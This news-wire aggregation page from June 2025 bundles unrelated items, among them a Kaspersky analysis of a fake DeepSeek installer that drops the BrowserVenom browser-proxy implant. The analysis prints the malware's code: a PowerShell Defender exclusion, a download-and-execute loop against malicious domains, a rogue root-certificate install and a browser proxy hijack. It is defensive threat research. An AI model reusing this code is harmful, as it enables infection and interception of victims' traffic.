Category: Environment

MIL-OSI: OTC Markets Group Welcomes DIRTT Environmental Solutions Ltd to OTCQX

Source: GlobeNewswire (MIL-OSI)

NEW YORK, June 11, 2025 (GLOBE NEWSWIRE) — OTC Markets Group Inc. (OTCQX: OTCM), operator of regulated markets for trading 12,000 U.S. and international securities, today announced DIRTT Environmental Solutions Ltd (TSX: DRT; OTCQX: DRTTF), a leader in industrialized construction, has qualified to trade on the OTCQX® Best Market. DIRTT Environmental Solutions Ltd upgraded to OTCQX from the Pink® market.

DIRTT Environmental Solutions Ltd begins trading today on OTCQX under the symbol “DRTTF.” U.S. investors can find current financial disclosure and Real-Time Level 2 quotes for the company on www.otcmarkets.com.

Upgrading to the OTCQX Market is an important step for companies seeking to provide transparent trading for their U.S. investors. For companies listed on a qualified international exchange, streamlined market standards enable them to utilize their home market reporting to make their information available in the U.S. To qualify for OTCQX, companies must meet high financial standards, follow best practice corporate governance and demonstrate compliance with applicable securities laws.

About DIRTT Environmental Solutions Ltd
DIRTT is a leader in industrialized construction. DIRTT’s system of physical products and digital tools empowers organizations, together with construction and design leaders, to build high-performing, adaptable, interior environments. Operating in the workplace, healthcare, education, and public sector markets, DIRTT’s system provides total design freedom, and greater certainty in cost, schedule, and outcomes. DIRTT’s interior construction solutions are designed to be highly flexible and adaptable, enabling organizations to easily reconfigure their spaces as their needs evolve.

About OTC Markets Group Inc.

OTC Markets Group Inc. (OTCQX: OTCM) operates regulated markets for trading 12,000 U.S. and international securities. Our data-driven disclosure standards form the foundation of our three public markets: OTCQX^® Best Market, OTCQB^® Venture Market, and Pink^® Open Market.

Our OTC Link^® Alternative Trading Systems (ATSs) provide critical market infrastructure that broker-dealers rely on to facilitate trading. Our innovative model offers companies more efficient access to the U.S. financial markets.

OTC Link ATS, OTC Link ECN, OTC Link NQB, and MOON ATS^TM are each an SEC regulated ATS, operated by OTC Link LLC, a FINRA and SEC registered broker-dealer, member SIPC.

To learn more about how we create better informed and more efficient markets, visit www.otcmarkets.com.

Subscribe to the OTC Markets RSS Feed

Media Contact:
OTC Markets Group Inc., +1 (212) 896-4428, media@otcmarkets.com

The MIL Network –

June 11, 2025

MIL-OSI Economics: Toxic trend: Another malware threat targets DeepSeek

Source: Securelist – Kaspersky

Headline: Toxic trend: Another malware threat targets DeepSeek

Introduction

DeepSeek-R1 is one of the most popular LLMs right now. Users of all experience levels look for chatbot websites on search engines, and threat actors have started abusing the popularity of LLMs. We previously reported attacks with malware being spread under the guise of DeepSeek to attract victims. The malicious domains spread through X posts and general browsing.

But lately, threat actors have begun using malvertising to exploit the demand for chatbots. For instance, we have recently discovered a new malicious campaign distributing previously unknown malware through a fake DeepSeek-R1 LLM environment installer. The malware is delivered via a phishing site that masquerades as the official DeepSeek homepage. The website was promoted in the search results via Google Ads. The attacks ultimately aim to install BrowserVenom, an implant that reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to manipulate the victim’s network traffic and collect data.

Phishing lure

The infection was launched from a phishing site, located at https[:]//deepseek-platform[.]com. It was spread via malvertising, intentionally placed as the top result when a user searched for “deepseek r1”, thus taking advantage of the model’s popularity. Once the user reaches the site, a check is performed to identify the victim’s operating system. If the user is running Windows, they will be presented with only one active button, “Try now”. We have also seen layouts for other operating systems with slight changes in wording, but all mislead the user into clicking the button.

Malicious website mimicking DeepSeek

Clicking this button will take the user to a CAPTCHA anti-bot screen. The code for this screen is obfuscated JavaScript, which performs a series of checks to make sure that the user is not a bot. We found other scripts on the same malicious domain signaling that this is not the first iteration of such campaigns. After successfully solving the CAPTCHA, the user is redirected to the proxy1.php URL path with a “Download now” button. Clicking that results in downloading the malicious installer named AI_Launcher_1.21.exe from the following URL: https://r1deepseek-ai[.]com/gg/cc/AI_Launcher_1.21.exe.

We examined the source code of both the phishing and distribution websites and discovered comments in Russian related to the websites’ functionality, which suggests that they are developed by Russian-speaking threat actors.

Malicious installer

The malicious installer AI_Launcher_1.21.exe is the launcher for the next-stage malware. Once this binary is executed, it opens a window that mimics a Cloudflare CAPTCHA.

The second fake CAPTCHA

This is another fake CAPTCHA that is loaded from https[:]//casoredkff[.]pro/captcha. After the checkbox is ticked, the URL is appended with /success, and the user is presented with the following screen, offering the options to download and install Ollama and LM Studio.

Two options to install abused LLM frameworks

Clicking either of the “Install” buttons effectively downloads and executes the respective installer, but with a caveat: another function runs concurrently: MLInstaller.Runner.Run(). This function triggers the infectious part of the implant.

private async void lmBtn_Click(object sender, EventArgs e) { try { MainFrm.c__DisplayClass5_0 CS$8__locals1 = new MainFrm.c__DisplayClass5_0(); this.lmBtn.Text = “Downloading..”; this.lmBtn.Enabled = false; Action action; if ((action = MainFrm.O.__Run) == null) { action = (MainFrm.O.__Run = new Action(Runner.Run)); # 8__locals1.ollamaPath = Path.Combine(Path.GetTempPath(), “LM-Studio-0.3.9-6-x64.exe”); […]

private async void lmBtn_Click(object sender, EventArgs e)

{

try

{

MainFrm.c__DisplayClass5_0 CS$8__locals1 = new MainFrm.c__DisplayClass5_0();

this.lmBtn.Text = “Downloading..”;

this.lmBtn.Enabled = false;

Action action;

if ((action = MainFrm.O.0>__Run) == null)

{

action = (MainFrm.O.0>__Run = new Action(Runner.Run)); #

}

Task.Run(action);

CS$8__locals1.ollamaPath = Path.Combine(Path.GetTempPath(), “LM-Studio-0.3.9-6-x64.exe”);

[...]

When the MLInstaller.Runner.Run() function is executed in a separate thread on the machine, the infection develops in the following three steps:

First, the malicious function tries to exclude the user’s folder from Windows Defender’s protection by decrypting a buffer using the AES encryption algorithm.
The AES encryption information is hardcoded in the implant:

Type AES-256-CBC

Key 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20

IV 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10

The decrypted buffer contains a PowerShell command that performs the exclusion once executed by the malicious function.

powershell.exe -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath $USERPROFILE

1

powershell.exe –inputformat none –outputformat none –NonInteractive –ExecutionPolicy Bypass –Command Add–MpPreference –ExclusionPath $USERPROFILE

It should be noted that this command needs administrator privileges and will fail in case the user lacks them.

After that, another PowerShell command runs, downloading an executable from a malicious domain whose name is derived with a simple domain generation algorithm (DGA). The downloaded executable is saved as %USERPROFILE%Music1.exe under the user’s profile and then executed.

$ap = “/api/getFile?fn=lai.exe”; $b = $null; foreach($i in 0..1000000) { $s = if ($i – gt 0) { $i } else { “” }; $d = “https://app-updater$s.app$ap”; $b = (New – Object Net.WebClient).DownloadData($d); if ($b) { break }

};
if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() – match”^v2″) {
[IO.File]::WriteAllBytes(“$env:USERPROFILEMusic1.exe”, $b);
Start – Process “$env:USERPROFILEMusic1.exe” – NoNewWindow
} else {
([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)
}

$ap = “/api/getFile?fn=lai.exe”;

$b = $null;

foreach($i in 0..1000000) {

$s = if ($i – gt 0) {

} else {

“”

};

$d = “https://app-updater$s.app$ap”;

$b = (New – Object Net.WebClient).DownloadData($d);

if ($b) {

break

}

};

if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() – match“^v2”) {

[IO.File]::WriteAllBytes(“$env:USERPROFILEMusic1.exe”, $b);

Start – Process “$env:USERPROFILEMusic1.exe” – NoNewWindow

} else {

([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)

}

At the moment of our research, there was only one domain in existence: app-updater1[.]app. No binary can be downloaded from this domain as of now but we suspect that this might be another malicious implant, such as a backdoor for further access. So far, we have managed to obtain several malicious domain names associated with this threat; they are highlighted in the IoCs section.

Then the MLInstaller.Runner.Run() function locates a hardcoded stage two payload in the class and variable ConfigFiles.load of the malicious installer’s buffer. This executable is decrypted with the same AES algorithm as before in order to be loaded into memory and run.

Loaded implant: BrowserVenom

We dubbed the next-stage implant BrowserVenom because it reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to sniff sensitive data and monitor the victim’s browsing activity while decrypting their traffic.

First, BrowserVenom checks if the current user has administrator rights – exiting if not – and installs a hardcoded certificate created by the threat actor:

[…] X509Certificate2 x509Certificate = new X509Certificate2(Resources.cert); if (RightsChecker.IsProcessRunningAsAdministrator()) { StoreLocation storeLocation = StoreLocation.LocalMachine; X509Store x509Store = new X509Store(StoreName.Root, storeLocation); x509Store.Open(OpenFlags.ReadWrite); x509Store.Add(x509Certificate); […]

[...]

X509Certificate2 x509Certificate = new X509Certificate2(Resources.cert);

if (RightsChecker.IsProcessRunningAsAdministrator())

{

StoreLocation storeLocation = StoreLocation.LocalMachine;

X509Store x509Store = new X509Store(StoreName.Root, storeLocation);

x509Store.Open(OpenFlags.ReadWrite);

x509Store.Add(x509Certificate);

[...]

Then the malware adds a hardcoded proxy server address to all currently installed and running browsers. For Chromium-based instances (i.e., Chrome or Microsoft Edge), it adds the proxy-server argument and modifies all existent LNK files, whereas for Gecko-based browsers, such as Mozilla or Tor Browser, the implant modifies the current user’s profile preferences:

[…] new ChromeModifier(new string[] { “chrome.exe”, “msedge.exe”, “opera.exe”, “brave.exe”, “vivaldi.exe”, “browser.exe”, “torch.exe”, “dragon.exe”, “iron.exe”, “epic.exe”, “blisk.exe”, “colibri.exe”, “centbrowser.exe”, “maxthon.exe”, “coccoc.exe”, “slimjet.exe”, “urbrowser.exe”, “kiwi.exe” }, string.Concat(new string[] { “–proxy-server=””, ProfileSettings.Host, “:”, ProfileSettings.Port, “”” })).ProcessShortcuts(); GeckoModifier.Modify(); […]

[...]

new ChromeModifier(new string[]

{

“chrome.exe”, “msedge.exe”, “opera.exe”, “brave.exe”, “vivaldi.exe”, “browser.exe”, “torch.exe”, “dragon.exe”, “iron.exe”, “epic.exe”,

“blisk.exe”, “colibri.exe”, “centbrowser.exe”, “maxthon.exe”, “coccoc.exe”, “slimjet.exe”, “urbrowser.exe”, “kiwi.exe”

}, string.Concat(new string[]

{

“–proxy-server=””,

ProfileSettings.Host,

“:”,

ProfileSettings.Port,

“””

})).ProcessShortcuts();

GeckoModifier.Modify();

[...]

The settings currently utilized by the malware are as follows:

public static readonly string Host = “141.105.130[.]106”; public static readonly string Port = “37121”; public static readonly string ID = “LauncherLM”; public static string HWID = ChromeModifier.RandomString(5);

public static readonly string Host = “141.105.130[.]106”;

public static readonly string Port = “37121”;

public static readonly string ID = “LauncherLM”;

public static string HWID = ChromeModifier.RandomString(5);

The variables Host and Port are the ones used as the proxy settings, and the ID and HWID are appended to the browser’s User-Agent, possibly as a way to keep track of the victim’s network traffic.

Conclusion

As we have been reporting, DeepSeek has been the perfect lure for attackers to attract new victims. Threat actors’ use of new malicious tooling, such as BrowserVenom, complicates the detection of their activities. This, combined with the use of Google Ads to reach more victims and look more plausible, makes such campaigns even more effective.

At the time of our research, we detected multiple infections in Brazil, Cuba, Mexico, India, Nepal, South Africa, and Egypt. The nature of the bait and the geographic distribution of attacks indicate that campaigns like this continue to pose a global threat to unsuspecting users.

To protect against these attacks, users are advised to confirm that the results of their searches are official websites, along with their URLs and certificates, to make sure that the site is the right place to download the legitimate software from. Taking these precautions can help avoid this type of infection.

Kaspersky products detect this threat as HEUR:Trojan.Win32.Generic and Trojan.Win32.SelfDel.iwcv.

Indicators of Compromise

Hashes

d435a9a303a27c98d4e7afa157ab47de AI_Launcher_1.21.exe
dc08e0a005d64cc9e5b2fdd201f97fd6

Domains and IPs

MIL OSI Economics –

June 11, 2025

MIL-OSI Asia-Pac: Public urged to strengthen anti-mosquito efforts

Source: Hong Kong Government special administrative region

â€‹The Food and Environmental Hygiene Department (FEHD) today (June 11) announced that the monthly gravidtrap index for Aedes albopictus mosquitoes in May was 8.6 per cent, at Level 2, indicating that the distribution of Aedes albopictus mosquitoes in the survey areas was fairly extensive. Relevant government departments have stepped up mosquito prevention and control actions.

In May, among the 64 survey areas, the area gravidtrap index in six areas exceeded the alert level of 20 per cent. The gravidtraps were mostly located in the vicinity of private residential areas, public housing estates, schools, recreational and sports facilities and public places. The FEHD has collaborated with relevant government departments by taking immediate action to strengthen mosquito prevention and control work in the area concerned.

Moreover, the monthly density index for Aedes albopictus in May was 1.3, which represented that an average of 1.3 Aedes albopictus adults were found in the Aedes-positive gravidtraps, indicating that the number of adult Aedes albopictus was not abundant in the survey areas. The gravidtrap and density indices for Aedes albopictus in different survey areas as well as information on mosquito prevention and control measures are available on the department website at www.fehd.gov.hk.

A spokesman for the FEHD said, “There is a significant relationship between local mosquito infestation and seasonal changes. The gravidtrap indices in various survey areas would be relatively higher during hot and rainy spring and summer months (i.e. from May to September) as mosquitoes breed quickly. Members of the public are reminded to continue the routine mosquito prevention and control work, especially the repair and maintenance of structures. Cracks and dents that may accumulate water and become potential breeding grounds should be filled and levelled to reduce the chance of mosquito breeding.”

“The Government is concerned about the mosquito infestation in May. The increase in the monthly gravidtrap index for Aedes albopictus for May might be related to the continuously hot and rainy days in the month. The FEHD has continued to intensify the mosquito prevention and control work with relevant government departments in areas under their purview, including eliminating mosquito breeding places, applying larvicides, conducting fogging operations to eradicate adult mosquitoes, and placing mosquito trapping devices at suitable locations. The FEHD has also conducted site inspections with relevant departments, and provided them with professional advice and technical support to assist them in formulating and implementing effective anti-mosquito measures swiftly. At the same time, the FEHD has strengthened publicity and education. The FEHD will continue to monitor the mosquito infestation in all districts, and will conduct prompt and effective mosquito prevention and control work,” the spokesman continued.

The FEHD will conduct a three-phase Anti-mosquito Campaign this year. The second phase of the territory-wide campaign was launched on April 14 and will run until June 13. During the period, the district offices of the FEHD will target areas that have drawn particular concern, such as public markets, cooked food centres and hawker bazaars, single-block buildings, streets and back lanes, common parts of buildings, village houses, construction sites, vacant sites and road works sites, to remove accumulated water and carry out mosquito prevention and control work. To further enhance the effectiveness of mosquito control, the FEHD and relevant government departments have carried out phase two of the All-out Anti-mosquito Operations from May 7. In addition to the work of phase one, including eliminating potential mosquito breeding places, the FEHD called on property management entities to arrange for necessary repairs to their premises to minimise mosquito breeding places and commence adult mosquito control measures by means of regular ultra-low volume fogging operations.

The FEHD appeals to members of the public to continue to stay alert and work together to carry out mosquito prevention and control measures early, including inspecting their homes and surroundings to remove potential breeding grounds, changing water in vases and scrubbing their inner surfaces, removing water in saucers under potted plants at least once a week, properly disposing of containers such as soft drink cans and lunch boxes, and drilling large holes in unused tyres. The FEHD also advises members of the public and estate management bodies to keep drains free of blockage and level all defective ground surfaces to prevent the accumulation of water. They should also scrub all drains and surface sewers with an alkaline detergent at least once a week to remove any mosquito eggs.

Aedes albopictus is a kind of mosquito that can transmit dengue fever (DF). DF is commonly found in tropical and subtropical regions of the world, and has become endemic in many countries in Southeast Asia. In 2024, the World Health Organization recorded over 14 million DF cases, which was a record number. The dengue activity in neighbouring areas has remained high. Members of the public should stay vigilant and continue to carry out effective mosquito prevention and control measures.

MIL OSI Asia Pacific News –

June 11, 2025
MIL-OSI United Kingdom: Call 5 of the Digital Transformation Flexible Fund is now open

Source: Northern Ireland City of Armagh

Simon Hewitt, Titus Solutions Craigavon.

The Digital Transformation Flexible Fund (DTFF) has officially opened its fifth funding call, inviting small and micro businesses across the ABC borough to apply for grants ranging from £5,000 to £20,000.

This initiative aims to support the adoption of advanced digital technologies, enhancing competitiveness and driving innovation.

Craigavon-based manufacturing firm, Titus Solutions, exemplifies the impact of DTFF. After securing £20,000 funding in a previous call, the company invested in a robotic welder with desktop programming and simulation, significantly enhancing operational efficiency and reducing production times.

Lord Mayor of Armagh City, Banbridge and Craigavon Borough, Alderman Stephen Moutray, said:

“We welcome the fifth call of this funding programme that will hopefully aid our local businesses in their digital innovation endeavours. As the world around us is constantly moving forward in terms of digital advancements, it is crucial that the businesses in our borough get the support they need in order to be at the forefront of this transformation. I encourage businesses to find out more and attend one of the briefing sessions either online or in person.”

Simon Hewitt, Managing Director of Titus Solutions, stated:

“The DTFF grant was a game-changer for us. Implementing robotics and AI technology streamlined our processes, cut production times, and boosted overall productivity. It’s been instrumental in our growth.”

Eligible projects must focus on transformative technologies, including artificial intelligence, machine learning, process automation, big data analytics, immersive technologies, and the Internet of Things. The fund covers up to 70% of project costs, with applicants providing the remaining 30%.

Expressions of Interest for Call 5 close at 12 noon on Friday 11 July 2025. ABC Council and DTFF will host a series of pre-application briefing sessions which will provide detailed information on eligibility criteria, application processes, and insights into successful digital transformation projects just like Titus Solutions. Dates and registration details are available on the DTFF website: dtff.co.uk

Delivered by all 11 local councils under the Full Fibre Northern Ireland Consortium (FFNI) and supported by Invest NI, DTFF is part-funded by the NI Executive, UK Government, Department of Agriculture, Environment and Rural Affairs (DAERA), and local authorities.

MIL OSI United Kingdom –

June 11, 2025
MIL-OSI United Kingdom: Volunteers help to spruce up York

Source: City of York

Published Tuesday, 10 June 2025

City of York Council joined York BID and over 20 volunteers today, 10 June, to roll up their sleeves and help spruce up York city centre, as part of their rejuvenation days.

This community-powered project is all about bringing a little extra shine to our streets by cleaning and repainting street furniture like bike racks, benches, bollards and more.

Since the York BID led project launched in January 2024, the response has been incredible. Over 300 brilliant volunteers have given up their time to repaint 1,100 pieces of individual infrastructure across 57 different streets.

Before the painting begins, the dedicated BID Street Cleaning Team will prep the area by power washing, cleaning away weeds, and removing stickers and posters.

Council teams helped to tackle the more stubborn bits, and get them properly refreshed.

Sessions are taking place throughout June, and if volunteers can’t make it, they can sign up early for a September session.

Councillor Jenny Kent, Executive Member for Environment and Climate Emergency, said:

I was really pleased to join all the volunteers, council crews and BID team again, this time smartening up College Green. They’ve all done a great job and I’d like to thank everyone who has taken part. Rejuvenation days are a great way to bring communities together and make a real difference to where we live. Together we can all help make York shine”

Carl Alsop, Operations Manager at York BID, said:

Since we started this project, we’ve been blown away by the support and enthusiasm from businesses, residents, and community groups. Over 300 people have already got stuck in and it’s been brilliant to see everyone come together to make our city centre a cleaner and more welcoming space. We can’t wait to see what the next few months bring!”

There are lots of volunteer opportunities through the council to build pride in place, by contacting environmentandcommunity@york.gov.uk.

Sign up now and be part of something special or contact info@theyorkbid.com for more information.

MIL OSI United Kingdom –

June 11, 2025
MIL-Evening Report: More deaths reported out of Sugapa in West Papua clashes with military

By Caleb Fotheringham, RNZ Pacific journalist

Further reports of civilian casualties are coming out of West Papua, while clashes between Indonesia’s military and the armed wing of the Free Papua Movement continue.

One of the most recent military operations took place in the early morning of May 14 in Sugapa District, Intan Jaya in Central Papua.

Military spokesperson Lieutenant-Colonel Iwan Dwi Prihartono said in a video statement translated into English that 18 members of the West Papua National Liberation Army (TPNPB) had been killed.

He claimed the military wanted to provide health services and education to residents in villages in Intan Jaya but they were confronted by the TPNPB.

Colonel Prihartono said the military confiscated an AK47, homemade weapons, ammunition, bows and arrows and the Morning Star flag — used as a symbol for West Papuan independence.

But, according to the TPNPB, only three of the group’s soldiers were killed with the rest being civilians.

The United Liberation Movement for West Papua (ULMWP) said civilians killed included a 75-year-old, two women and a child.

Both women in shallow graves
Both the women were allegedly found on May 23 in shallow graves.

A spokesperson from the Indonesian Embassy in Wellington said all 18 people killed were part of the TPNPB, as declared by the military.

“The local regent of Intan Jaya has checked for the victims at their home and hospitals; therefore, he can confirm that the 18 victims were in fact all members of the armed criminal group,” they said.

“The difference in numbers of victim sometimes happens because the armed criminal group tried to downplay their casualties or to try to create confusion.”

The spokesperson said the military operation was carried out because local authorities “followed up upon complaints and reports from local communities that were terrified and terrorised by the armed criminal group”.

Jakarta-based Human Rights Watch researcher Andreas Harsono said it was part of the wider Operation Habema which started last year.

“It is a military operation to ‘eliminate’ the Free Papua guerilla fighters, not only in Intan Jaya, but in several agencies along the central highlands,” Harsono said.

‘Military informers’
He said it had been intensifying since the TPNPB killed 17 miners in April, which the armed group accused of being “military informers”.

RNZ Pacific has been sent photos of people who have been allegedly killed or injured in the May 14 assault, while others have been shared by ULMWP.

Harsono said despite the photos and videos it was hard to verify if civilians had been killed.

He said Indonesia claimed civilian casualties — including of the women who were allegedly buried in shallow graves — were a result of the TPNPB.

“The TPNPB says, ‘of course, it is a lie why should we kill an indigenous woman?’ Well, you know, it is difficult to verify which one is correct, because they’re fighting the battle [in a very remote area],” Harsono said.

“It’s difficult to cross-check whatever information coming from there, including the fact that it is difficult to get big videos or big photos from the area with the metadata.”

Harsono said Indonesia was now using drones to fight the TPNPB.

“This is something new; I think it will change the security situation, the battle situation in West Papua.

“So far the TPNPB has not used drones; they are still struggling. In fact, most of them are still using bows and arrows in the conflict with the Indonesian military.”

This article is republished under a community partnership agreement with RNZ.

MIL OSI Analysis – EveningReport.nz –

June 11, 2025
MIL-OSI: Mattermost Names James Mullins as Vice President of Sales for EMEA and APAC
Source: GlobeNewswire (MIL-OSI)

PALO ALTO, Calif., June 11, 2025 (GLOBE NEWSWIRE) — Mattermost, Inc., the trusted leader in secure, real-time collaboration and workflow solutions for defense, intelligence, security, and critical infrastructure, today announced the appointment of James Mullins as Vice President of Sales for Europe, Middle East, Africa (EMEA) and Asia Pacific (APAC) regions. Mullins brings more than three decades of experience in technology sales leadership, with a proven track record of driving global sales growth and developing strategic market initiatives.

“James’ extensive experience in scaling sales organizations and his deep understanding of international markets make him the ideal leader to expand our presence across EMEA and APAC,” said Dave Reardon, CRO at Mattermost. “His expertise in enterprise sales and proven ability to drive growth will be invaluable as we continue to accelerate our global expansion and help more organizations enhance their secure collaboration capabilities.”

Prior to joining Mattermost, Mullins led the business development function at Ripjar and KYC360, where he successfully implemented sales strategies that drove company growth.

Throughout his career, he has held senior sales leadership positions where he has built and led high-performing global sales teams from startup to scale-up phases.

“I’m thrilled to join Mattermost at such an exciting time in the company’s journey,” said Mullins. “The demand for secure, flexible collaboration solutions continues to grow exponentially, particularly among technical teams and organizations with complex security and compliance requirements. I look forward to working with the Mattermost team to expand our global footprint and deliver exceptional value to customers across EMEA and APAC.”

Mullins has successfully sold into multiple vertical markets including Financial Services, Insurance, Telecommunications, Government, and Oil & Gas. His expertise in driving both sales and market development strategies has consistently delivered strong business results throughout his 30-year career in technology sales.

In his new role, Mullins will focus on accelerating Mattermost’s growth strategy across EMEA and APAC regions, expanding the company’s enterprise customer base, and strengthening strategic partnerships to enhance market presence.

About Mattermost

Mattermost is the Intelligent Mission Environment that delivers secure chat operations and collaborative workflows for mission-critical work in defense, government, and critical infrastructure. Trusted by the U.S. Department of Defense and Fortune 500s, our open core platform powers focused, adaptable, secure, resilient operations across the most demanding environments. The platform supports Mission Operations, DevSecOps, and Cyber Defense with secure messaging, file sharing, audio calling, screen sharing, workflow automation, and AI assistance—available in self-hosted and on-demand deployments from strategic partners. Built on an open source platform shaped by 4,000+ contributors, Mattermost is co-developed with the world’s top security experts to meet the most demanding operational needs. Learn more at mattermost.com.

Attachment
- James Mullins
The MIL Network –
June 11, 2025
MIL-OSI Africa: Beni: Mission de l’Organisation des Nations unies en République démocratique du Congo (MONUSCO) Celebrates World Environment Day by Planting Trees in a School

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In Beni, North Kivu Province, MONUSCO celebrated World Environment Day on Thursday, June 5, by organizing an awareness campaign and planting trees at a local school. “It’s a very important day” said Adam Obatoki Salami, acting head of the UN mission’s sub-office.

Celebrated every year on June 5 since 1973, World Environment Day is the largest global platform for environmental public awareness, observed by millions of people around the world.

According to Adam Obatoki Salami, this year’s celebration was an opportunity to raise awareness about the harmful impact and dangers of plastic materials that pollute the environment. The theme chosen for this year is: “Beat Plastic Pollution.”.

“It’s a call for everyone to take responsibility so that we can collectively protect our environment and fight against the dangers of plastic pollution. Our message to the people of Beni is, first, that MONUSCO is committed to combating plastic pollution, working toward a better environment, and raising awareness so people consider environmental issues in their daily lives. We’ve planned several awareness activities throughout the city for this day.” noted Adam Obatoki.

Among these activities were tree planting events at MONUSCO’s Mavivi base and at Matembo Primary School, along with public awareness meetings on environmental protection.

Moïse Adirodu, Head of Administration and Finance at the environmental coordination office in Beni, believes MONUSCO is fulfilling its role in full cooperation with local authorities:

“MONUSCO plays an active role in environmental management. It implements waste management strategies and makes efforts to reduce its carbon footprint in its decision-making processes, in line with the objectives of the Rio de Janeiro Earth Summit. Through its actions in the city of Beni, MONUSCO has become a key partner for our environmental coordination. I’d like to recall that when the mayor of Beni launched the community cleanup initiatives—commonly known as Salongo—MONUSCO was leading from the front. We truly appreciate this kind of partnership” he said.

According to the United Nations, more than 400 million tons of plastic are produced every year, half of which is designed for single use. Less than 10% of this plastic is recycled. An estimated 11 million tons of plastic end up in lakes, rivers, and oceans annually—and Beni’s rivers are no exception.

Distributed by APO Group on behalf of Mission de l’Organisation des Nations unies en République démocratique du Congo (MONUSCO).

MIL OSI Africa –

June 11, 2025
MIL-OSI United Kingdom: City centre to get improvements including greening the area
Source: Scotland – City of Aberdeen

Surplus money from bus lane and LEZ fines is to be used to fund several city centre projects including a major one to green the area.

Aberdeen City Council’s Net Zero, Environment and Transport Committee agreed the moves at a meeting today.

Aberdeen City Council co-leader Councillor Ian Yuill said: “We are working to make the city centre an even better place for people to spend time. Improvements to street lighting, and to the city centre environment help achieve that.”

Net Zero, Environment, and Transport vice-convenor Miranda Radley added: “The budget allocated today will allow the Council, working with partners, to brighten the city centre, improve pedestrian access and encourage more people to enjoy the space we have in the city centre.”

The Council’s Finance and Resources Committee approved in March the funding surplus for bus lane enforcement of £2,635,268 and LEZ £669,000 and that the projects would be agreed by the Net Zero, Environment and Transport Committee.

The report to committee said discussions have been ongoing with partners such as Aberdeen Inspired to identify impactful projects that could be progressed and be aligned to the delivery of the wider City Centre Masterplan, using the bus lane enforcement money. These include:
- £200,000 for lighting improvements;
- £300,000 for Guild Street improvement which to enhance the pedestrian environment around Guild Street in particular, and to improve journeys and wayfinding between Union Square and Union Street. This could also include exploring additional bus stops on Guild Street.
In March 2025, Council agreed to spend £200,000 to support the re-establishment of a bicycle rental scheme in Aberdeen to be funded from the LEZ surplus. Discussions have been ongoing with partners and the Council’s Environmental Manager to consider projects that could be progressed at this time. These include:
- Our Union Street Greening/People Project: £61,000. This would be in Union Street West (Union Terrace to Dee Street) with areas of new planting (the plants would be selected on the basis of their air quality and climate change benefits) and seating. The project would involve working with H.M.P. Grampian and the Our Union Street “volunteer army” to construct, plant and maintain the structures;
- City Centre Greening, Growing and Buzzing: £60,000. This project would include a range of initiatives such as: reinstating urban bees into the city centre, additional floral enhancement via provision of year-round hanging baskets and investigation of additional green bus shelters. This project would be undertaken in partnership between Aberdeen Inspired.
An additional £71,000 was also allocated by Committee today under the ‘Greening the City Centre’ theme.

Adrian Watson, chief executive of Aberdeen Inspired, said: “We are grateful to Aberdeen City Council for its continued engagement and support on ways to improve the city centre to attract more footfall and help boost the economy.

“We look forward to working with the council on any and all initiatives to help regenerate the heart of the Granite City.”

Bob Keillor, of Our Union Street, said: “This is excellent news and we look forward to working with Aberdeen City Council colleagues to bring much needed colour and greenery to a section of Union Street. Our army of volunteers “The Street Union” will be delighted too as they have seen the difference that their cleanup efforts are making every week.”
MIL OSI United Kingdom –
June 11, 2025
MIL-OSI Asia-Pac: LCQ1: On-street parking spaces

Source: Hong Kong Government special administrative region

â€‹Following is a question by Dr the Hon Hoey Simon Lee and a reply by the Secretary for Transport and Logistics, Ms Mable Chan, in the Legislative Council today (June 11):

Question:

Many members of the public have relayed that under the circumstances of a lack of parking spaces, some businesses are occupying on-street parking spaces in various districts on a long-term basis or blocking them with objects in order to use such parking spaces for commercial activities. There are views that such practices defeat the original purpose of installing parking meters to prevent prolonged parking and occupation of road space by vehicles, violate the principle of fair use of public resources, and adversely affect motorists’ convenience when going out. In this connection, will the Government inform this Council:

(1) of the measures taken by the Government in the past three years to combat the illegal long-term occupation of on-street parking spaces, and the relevant enforcement situation;

(2) as there are views pointing out that the long-term occupation of on-street parking spaces or their blockage with objects by businesses has existed in various districts for many years, what specific measures the Government has in place to step up efforts in combatting such practices; and

(3) as it is learnt that at present, some Mainland cities have implemented number plate recognition systems by installing sensors to identify vehicles in parking spaces to assist with enforcement, whether the authorities will consider introducing similar systems or other innovative technological devices at on-street parking spaces to assist law enforcement agencies in combatting the illegal occupation of on-street parking spaces, including long-term occupation, blockage with objects and holding of commercial activities?

Reply:

President,

It is the Government’s policy to centre on public transport, and the Government encourages the public to make good use of the public transport services as far as possible, so as to avoid aggravating the burden on road traffic resulting from excessive private cars (PCs). In response to the parking demand for both PCs and commercial vehicles, over the past years, the Government has been actively pursuing a host of short-term and medium-to-long-term measures, to increase the supply of parking spaces where circumstances permit. Over the past three years, the number of metered parking spaces (metered spaces) has increased by more than 2 300. Having consulted the Transport Department (TD) and the Hong Kong Police Force (HKPF), a consolidated reply in response to the questions raised by Dr the Hon Hoey Simon Lee is as follows:

(1) and (2) The Government has all along been combatting the illegal occupation of metered spaces, deterring fare evasion and other forms of illegal use, to enhance turnover and ensure these spaces meet short-term parking needs. The HKPF conducts inspections and takes enforcement actions against unpaid parking, and maintains close co-ordination with relevant departments, such as the TD, at the district level for ongoing monitoring. Since 2021, the new-generation parking meter system, equipped with sensors, can detect real-time occupancy and enable the TD to identify unpaid metered spaces through its backend computer system. The TD shares this information with the HKPF via a dedicated application to facilitate enforcement. In terms of actual operation, the meter operator engaged by the TD provides information of unpaid but occupied metered spaces detected by the meters’ sensors to the HKPF for follow-up, and dispatches personnel to regularly patrol parking meters in various districts. If any unlawful occupation of metered spaces is observed, the contractor will report the situation to relevant departments (for example, the HKPF, the Lands Department and the Food and Environmental Hygiene Department) for enforcement. Currently, the contractor conducts daily inspections, and refers an average of about 120 000 cases per year to the HKPF for non-payment of parking fees, and the number of referrals concerning parking spaces occupied by non-vehicle items to the HKPF and other relevant departments has risen over the past three years to over 200 cases. The TD also refers public complaints to the appropriate authorities for action. Additionally, the HKPF continues its public awareness and education efforts. Between 2021 and 2024, the number of metered 